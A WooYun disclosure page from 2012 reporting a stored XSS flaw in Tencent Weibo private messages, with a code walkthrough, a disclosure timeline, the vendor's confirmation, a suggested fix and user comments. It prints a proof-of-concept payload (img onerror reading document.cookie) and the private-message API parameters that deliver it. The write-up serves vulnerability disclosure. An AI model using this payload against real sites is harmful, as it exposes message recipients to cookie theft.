当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-013528

漏洞标题：PKAV腾讯专场 - 1. 腾讯微博私信存储型XSS

相关厂商：腾讯

漏洞作者： gainover

提交时间：2012-10-18 19:01

修复时间：2012-12-02 19:02

公开时间：2012-12-02 19:02

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-10-18： 细节已通知厂商并且等待厂商处理中
2012-10-19： 厂商已经确认，细节仅向厂商公开
2012-10-29： 细节向核心白帽子及相关领域专家公开
2012-11-08： 细节向普通白帽子公开
2012-11-18： 细节向实习白帽子公开
2012-12-02： 细节向公众公开

简要描述：

最近大家都流行连载了。那么我们也开场吧~ 最近心伤的胖子一直在连载，不知道发重复了没。 此漏洞成因会同步更新至：pkav.net

详细说明：

漏洞成因：
缺陷文件：
http://mat1.gtimg.com/www/mb/js/mi_121016.js
1.首先进入 MI.TalkList.picEvent 函数

MI.TalkList.picEvent = function(a) {
  ....


其中a为页面中所有class为PicBox的div集合，即 div .PicBox
2. 循环每一个 class为PicBox的div

for (var b = 0, f = a.length; b < f; b++) {
            var g = a[b],
....


g为每个div
3. k = c(g, "img")[0], 获取PicBox里的第一个img图片
4. h = k.parentNode, 获取k的父级元素，是一个链接<a href="...."
5. j = c(g, ".picTools"), 获取PicBox这个div里的 picTools DIV
6. 缺陷在下面这几句JS代码

if(!MI.user.fun.wideStyle) 
	MI.tmpl.picTool = ['<div class="tools bor_bg picTools"><a href="#" class="btnBack"><em></em>', _("向左转"), '</a><span>|</span><a href="#" class="btnPrev"><em></em>', _("向右转"), '</a><a href="$Url/2000" class="btnOriginal" onclick="MI.Bos(\'btnPicSource\')" target="_blank">', _("查看原图"), "</a></div>"].join("");
UI.before(UI.html(MI.tmpl.picTool.replace("$Url", h.href.replace(/\/460$/g, "")).replace("$hisUrl", l))[0], h);


MI.tmpl.picTool直接将$Url替换为 h.href
而h在取href属性值时，会自动将 &quot;&lt;&gt;等转换回 ", < ,> 等符号。
----------------------------------
结合实际HTML结构，如下：
k 对应用户发送的图片

<img class="" crs="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/160" src="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/160" style="display: inline; " alt="[图片]">


h 对应k外层的 A 标签

<a class="pic " href="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/460" hidefocus="true"> ... </a>


h.href中的&quot; &lt;, &gt 等重新转义回了 " , < ,>
最终导致UI.html(MI.tmpl.picTool.replace("$Url", h.href.replace(/\/460$/g, "")).replace("$hisUrl", l))[0], h)
在输出HTML时，导致XSS出现
--------------------------------
利用方法，发送私信时，
http://api.t.qq.com/inbox/pm_mgr.php 

source	reply
ptid	gainover
roomid
content	.................
fid	
arturl  http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#"><img src=1 onerror="alert(document.cookie);" style="display:none"><i a="
murl
target	gainover
func	send
ef	js
pmlang	zh_CN
apiType	8
apiHost	http://api.t.qq.com

漏洞证明：

对方打开私信时会触发XSS。



4(1).jpg


修复方案：

MI.TalkList.picEvent中 h.href.replace之前先将h.href转义一次～

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2012-10-19 11:16

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-10-18 19:06 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    顶！

  2. 2012-10-18 19:12 | Frankie ( 路人 | Rank:10 漏洞数:1 | 你存在,我的代码里...Line 0://你)

    擦了...重现32哥?

  3. 2012-10-18 19:12 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    最近电视剧看得爽啊 不知道@唐尸三摆手 如何了

  4. 2012-10-18 19:16 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    没wb给你们捧场了，wb都压在胖子身上了

  5. 2012-10-18 19:19 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    帅呆了。

  6. 2012-10-18 19:22 | 小黑要低调 ( 实习白帽子 | Rank:47 漏洞数:4 | 小黑一枚)

    G牛也出手了。。。

  7. 2012-10-18 19:45 | 葉孒 ( 实习白帽子 | Rank:37 漏洞数:5 | 呵呵)

    关注

  8. 2012-10-18 19:50 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    这个得顶一下哇~

  9. 2012-10-18 20:26 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    得顶~~

  10. 2012-10-18 20:47 | Frankie ( 路人 | Rank:10 漏洞数:1 | 你存在,我的代码里...Line 0://你)

    @xsser 看了剑心大牛玉照后...感觉还是不要做安全吧... 元芳,你怎么看?

  11. 2012-10-18 20:48 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @Frankie 搞摇滚吧～ 安全这东西，搞它有啥用啊！！

  12. 2012-10-18 20:49 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    差点中招，好险。。。

  13. 2012-10-18 20:52 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @Jannock 回头老大来成都耍啊，让only_guest给你接风洗尘带压惊！= =

  14. 2012-10-18 20:57 | 闪电小子 ( 实习白帽子 | Rank:63 漏洞数:5 | PKAV技术宅社区！---闪电小子！)

    这个比较好玩

  15. 2012-10-18 21:04 | 心伤的胖子 ( 普通白帽子 | Rank:308 漏洞数:29 | 因为心伤，所以胖子。)

    @gainover 哪能跟G牛比呀呀呀呀呀呀

  16. 2012-10-18 21:53 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @心伤的胖子 丫的再谦虚，马赛克，马赛克，马赛克 ...

  17. 2012-10-18 22:07 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @心伤的胖子 @Jannock 成都欢迎你们....

  18. 2012-10-18 22:44 | qiaoy ( 普通白帽子 | Rank:110 漏洞数:16 )

    照！

  19. 2012-10-18 23:35 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    我觉得此贴要火，元芳，你怎么看？

  20. 2012-10-19 09:21 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    元芳，你怎么看？

  21. 2012-10-19 09:26 | LeadUrLife ( 普通白帽子 | Rank:103 漏洞数:14 | 好好学习 天天向上)

    红牛、腰果、抽纸（这里注意不是卷纸）已备齐，坐地上看连续剧。。。

  22. 2012-10-19 09:31 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    回大人：依卑职来看，此漏洞TX定不会忽略，并且rank值在14左右，厂商回复定有一句：非常感谢您的反馈...!@#$%^&*()

  23. 2012-10-19 10:06 | Eoh ( 普通白帽子 | Rank:286 漏洞数:35 )

    @元芳， 你怎么看？

  24. 2012-10-19 10:37 | 峙酿君edwardz ( 实习白帽子 | Rank:40 漏洞数:1 | http://weibo.com/evilniang)

    @Jannock @Eoh @鬼魅羊羔 我姓李....

  25. 2012-10-19 10:46 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    AV抢宅男

  26. 2012-10-19 11:28 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @saline .... 你亮了

  27. 2012-10-19 20:17 | Frankie ( 路人 | Rank:10 漏洞数:1 | 你存在,我的代码里...Line 0://你)

    @gainover 有点老了..边摇边滚,带不起节奏啊

  28. 2012-12-02 19:41 | softbug ( 实习白帽子 | Rank:66 漏洞数:10 | 为人类设计最好的软件，解放人的双手,一起...)

    很给力！gainover!

  29. 2012-12-15 16:50 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    最后一个图很给力。